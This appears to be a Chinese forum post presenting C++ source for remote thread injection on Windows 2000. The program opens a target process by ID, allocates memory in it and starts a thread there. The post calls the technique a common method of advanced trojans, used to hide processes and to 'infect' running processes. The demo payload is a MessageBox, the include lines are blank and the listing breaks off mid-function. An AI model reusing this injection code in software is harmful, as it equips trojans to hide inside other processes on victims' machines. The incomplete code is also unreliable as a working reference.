返回列表 发帖

往别的进程插入线程(高级木马常用方法)

//往别的进程插入线程(高级木马常用方法) //这样的话,就可以隐藏进程, 如果病毒传染方式叫静态传染,那么这种方式就叫动态传染,普通病毒是传染可执行程序文件,而这个则是传染进程。 /*tinsert.cpp 往目标进程插入线程的例子 author: littlebob all rights reserved. date: 2002.10.22 */ //tinsert.cpp //此程序往目标进程插入显示一个对话框的线程 //然后退出, 你可以发现, 该程序退出后线程依然存在, 只有目标进程结束后才线程结束 //请在windows 2000 下测试该程序 #include #include #include void usage(void) { cerr<<"Usage:tinsert "; } long __stdcall thread_func(LPVOID p) { typedef BOOL (*MESSAGEBOX)(DWORD, LPCTSTR, LPCTSTR, DWORD); char a[] = {'H', 'e', 'l', 'l', 'o', ',', 'W', 'o', 'r', 'l', 'd', '!', '\n', 'T', 'h', 'i', 's', ' ', 'i', 's', ' ', 'a', ' ', 'r', 'e', 'm', 'o', 't', 'e', ' ', 't', 'h', 'r', 'e', 'a', 'd', ' ', 'c', 'r', 'e', 'a', 't', 'e', 'd', ' ', 'b', 'y', ' ', 't', 'i', 'n', 's', 'e', 'r', 't', 0}; char b[]={'c', 'r', 'e', 'a', 't', 'e', 'd', ' ', 'b', 'y', ' ', 't', 'i', 'n', 's', 'e', 'r', 't', 0}; MESSAGEBOX mbox=(MESSAGEBOX)0x77E1776C; //0x77E1776C是windows 2000下user32.dll 中MessageBoxA的函数入口. mbox(NULL, a, b, MB_OK); return 0; } int main(int argc, char* argv[]) { cerr<<"Thread insertor.\n"; if (argc != 2) { usage(); exit(-1); } ULONG processid=0; sscanf(argv[1], "%u", &processid); if (processid == 0) { usage(); exit(-1); } ULONG threadid=0; HANDLE hprocess=0,hthread=0; hprocess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processid); if (hprocess == NULL) { cerr<<"OpenProcess failed.\n"; exit(-1); } LPVOID d_proc_addr=NULL; d_proc_addr = VirtualAllocEx(hprocess, NULL, 0x1000, MEM_COMMIT, 4L); if (d_proc_addr == NULL) { cerr<<"VirtualAllocEx failed."<

返回列表 回复 发帖